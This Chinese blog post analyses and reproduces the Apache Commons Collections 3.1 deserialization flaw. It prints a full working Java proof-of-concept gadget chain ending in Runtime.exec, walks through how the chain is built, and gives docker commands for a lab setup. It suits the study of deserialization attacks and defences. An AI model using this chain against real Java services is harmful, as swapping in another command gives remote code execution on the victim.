聚焦源代码安全,网罗国内外最新资讯!

1.1 状态

完成漏洞挖掘条件分析、漏洞复现。

1.2 漏洞分析

存在安全缺陷的版本:Apache Commons Collections3.2.1以下,【JDK版本:1.7.0_80】Apache Maven 3.6.3。

POC核心代码:

package com.patrilic.vul;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class EvalObject {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"touch /tmp/CommonsCollections3.1"})};//将transformers数组存入ChaniedTransformer这个继承类Transformer transformerChain = new ChainedTransformer(transformers);
//        transformerChain.transform(null);//创建Map并绑定transformerChainMap innerMap = new HashMap();innerMap.put("value", "value");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);//        //触发漏洞
//        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//        onlyElement.setValue("foobar");Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);//将ins序列化ByteArrayOutputStream exp = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(exp);oos.writeObject(ins);oos.flush();oos.close();//取出序列化的数据流进行反序列化,验证ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());ObjectInputStream ois = new ObjectInputStream(out);Object obj = (Object) ois.readObject();//    }
//}}
}

漏洞利用思路:

Transformer接口-实现类-InvokerTransformer(),可调用任何函数。

为实现 Runtime.getRuntime().exec(cmd),要多次调用 transformer 并将当前返回结果作为下次输入信息。

为调用 Runtime.getRuntime(),考虑 ConstantTransformer 类,它可直接将输入的参数作为输出。

ChainedTransformer 作为实现类,对于接收的Transformer 数组,采用自身的transform方法(参数是用户输入的)逐次处理Transformer数组对象,将其结果作为下次重复调用的输入参数。它的 transform()方法即可出触发漏洞。

为寻找反序列化途径,即读进来数据被反序列化执行,则反向寻找可触发ChainedTransformer 对象 .transform() 方法的途径。

HashMap类可以键值对方式存储数据,put(key,value)方法可存储数据。

TransformedMap类的功能是存储键值对并将其转换为transform objects,decorate()方法可创建键值对组,checkSetValue()方法会触发this.valueTransformer.transform()语句。依次反向寻找调用 checkSetValue()【1】,使 this.valueTransformer 为 ChainedTransformer 对象的途径【2】。

对于【2】,TransformedMap 类的静态方法 decorate()可达到目标。

对于【1】,AbstractInputCheckedMapDecorator 类 MapEntry 静态类的setValue方法会执行this.parent.checkSetValue(value),则接下来应使this.parent为TransformedMap对象【3】。

对于【3】,正向分析POC中此段代码:

Map.Entry onlyElement = (Map.Entry)
outerMap.entrySet().iterator().next();

研究可知,执行过程中多次在AbstractInputCheckedMapDecorator类中,将TransformedMap对象赋值给this.parent,返回Map.Entry对象,正好可以执行setValue()方法,触发漏洞。

为提升通用性,必须设法使得调用反序列化方法即触发漏洞,因此,考虑寻找类对象满足“重写反序列化readObject()且执行Map类对象变量的setValue(),同时此变量可被控制赋键值数据”。AnnotationInvocationHandler类满足此需求【它对Map类型的成员变量的每个条目均调用setValue()】。

Class.forName() 功能是加载类。

则再次分析,对于【1】,正向分析POC中核心代码:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);
……
Object obj = (Object) ois.readObject();

研究可知,执行过程会执行 MapEntry 静态类的 setValue 方法,且会执行entrySet 方法使得 this.parent=TransformedMap 对象,从而触发漏洞。

总的来说,正向的POC构造思路为:先构造 ChainedTransformer 对象,随后创建 Map 对象,再采用 TransformedMap 类实例将 ChainedTransformer 对象保存至 Map 类对象中,再通过反射方法获得经 Map 类对象初始化的AnnotationInvocationHandler 类实例,对其进行序列化。

1.3 docker复现

下载制作的docker镜像,用以下命令:

docker pull 296645429/apache-commons-collections-vulnerability-ubuntu:v1

设置局域网及容器ip、启动容器,例子:

(1)自定义网络

docker network create --subnet=192.168.10.1/24 testnet

(2)启动docker容器

docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash

在容器【Apache-Commons-Collections】中,执行命令【java -jar commons-collections-3.1.jar】,则生成文件【CommonsCollections3.1】,如下图。

1.7 参考资料

  • https://www.freebuf.com/vuls/251664.html

  • https://patrilic.top/2020/03/19/commons-collections-3.1%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/#0x00-Build

  • https://www.smi1e.top/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0%E4%B9%8Bapache-commons-collections/

  • https://zhuanlan.zhihu.com/p/62496468

  • https://blog.csdn.net/chengly0129/article/details/70215018

推荐阅读

Apache Shiro权限绕过漏洞 (CVE-2020-11989) 挖掘分析和复现

Apache Solr 未授权上传(RCE)漏洞(CVE-2020-13957)的原理分析与验证

WebLogic UniversalExtractor反序列化漏洞(CVE-2020-14645)的复现和分析

题图:Pixabay License

转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

 觉得不错,就点个 “在看” 或 "赞” 吧~

Apache Commons Collections反序列化漏洞分析与复现相关推荐

  1. APACHE OFBIZ XML-RPC 反序列化漏洞 (CVE-2020-9496) 的复现与分析

     聚焦源代码安全,网罗国内外最新资讯! 1.1 状态 完成漏洞挖掘条件分析.漏洞复现. 1.2 简介 相关的重点类和方法: org.apache.xmlrpc.parser.SerializableP ...

  2. Apache Shiro Java 反序列化漏洞分析

    Shiro概述 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.目前在Java web应用安全框架中,最热门的产品有Spring Security和Sh ...

  3. rmi反序列化导致rce漏洞修复_RMI反序列化漏洞分析

    原创:Xman21合天智汇 一.RMI简介 首先看一下RMI在wikipedia上的描述: Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Ja ...

  4. Fastjson 1.2.22-24 反序列化漏洞分析

    目录 0x00 废话 0x01 简单介绍 FastJson的简单使用 0x02 原理分析 分析POC 调试分析 0x03 复现过程 0x04 参考文章 0x00 废话 balabala 开始 0x01 ...

  5. commons-collections反序列化漏洞分析——远程代码执行

    commons-collections反序列化漏洞分析--远程代码执行 命令执行以及通过反射进行命令执行 这里先说说java里面的命令执行.其实java的命令执行和PHP类似,PHP一般通过eval和 ...

  6. tomcat源码分析_CVE-2020-9484 tomcat session反序列化漏洞分析

    作者:N1gh5合天智汇 title: CVE-2020-9484 tomcat session反序列化漏洞分析 tags: CVE,Tomcat,反序列化 grammar_cjkRuby: true ...

  7. shiro550反序列化漏洞分析

    Apache Shiro550 之前有做过vulhub漏洞复现-Apache Shiro(CVE-2016-4437) 反序列化漏洞复现,这里记录一下调试分析过程. Apache Shiro是一个开源 ...

  8. rmi 反序列化漏洞_提醒:Apache Dubbo存在反序列化漏洞

    背景: 近日监测到Apache Dubbo存在反序列化漏洞(CVE-2019-17564),此漏洞可导致远程代码执行.Apache Dubbo是一款应用广泛的高性能轻量级的Java RPC分布式服务框 ...

  9. Java猿社区—Apache Commons Collections—CollectionUtils工具类详解

    欢迎关注作者博客 简书传送门 文章目录 前言 代码示例 前言 论阅读源码的重要性,后期会对各大开源框架相关源码做详细阅读,并熟悉使用,本次主要对Apache Commons Collections中C ...

最新文章

  1. 刚上线就报名2000人!8位大牛免费讲座,再不报名就满额了!
  2. 这份宝典火了,小哥学后加薪30W+
  3. Void void Void用在泛型
  4. MVC ScriptBundle自定义排序。
  5. cx oracle 返回码,oracle错误代码处理cx_oracle
  6. 四层和七层负载均衡的区别介绍--转
  7. C语言判断一个数是否是回文数Palindrome算法(附完整源码)
  8. 《社交网站界面设计(原书第2版)》——2.11 提问
  9. 内容拾遗之字符串与数据结构
  10. 【机器学习实战】极大似然法
  11. 2019了,转行学编程过时了吗?
  12. 实力验证,浪潮整机柜软件定义存储性能有“数”可依
  13. python爬虫:爬取医药数据库drugbank
  14. QT Libvlc音视频环境配置及编译错误解决
  15. 基于51单片机及MAX6675的8通道测温系统 protues仿真
  16. 你想收到中国向世界发出的第一封电子邮件吗
  17. 大数据学习之 ElasticSearch 练习
  18. 大数据征信进入洗牌期,区块链或成新一代征信系统底层架构
  19. js循环绑定事件问题及解决方法
  20. 崩坏3抽奖模拟html5,崩坏3崩坏周周练5月18日答案大全 夜隐重霞崩坏周周练答案汇总...

热门文章

  1. python 读取excel 生成json 读取json
  2. 王大珩追悼会举行 上千人雨中送别“光学之父”
  3. 解决关于vs2010中w无法 显示的问题
  4. cisco2950 查看端口流量
  5. 在pfSense下设置GoDaddy动态DNS API记录
  6. SLAM技术的应用及发展现状
  7. 一个月薪两万的Web安全工程师要掌握哪些技能?
  8. svn上传时显示database is locked
  9. selenium+python自动化测试系列(二):AutoIt工具实现本地文件上传
  10. Linux内核之数据双链表